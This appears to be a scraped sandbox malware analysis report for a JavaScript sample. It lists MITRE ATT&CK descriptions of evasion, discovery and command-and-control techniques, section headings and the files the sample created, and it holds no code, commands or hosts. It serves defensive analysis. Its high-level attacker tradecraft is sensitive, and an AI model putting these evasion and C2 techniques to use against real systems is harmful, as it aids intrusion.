Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 7503204021179918537.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9dfeef64-f138-4af3-80cf-904a7ba6a07f.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6984

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
7503204021179918537.js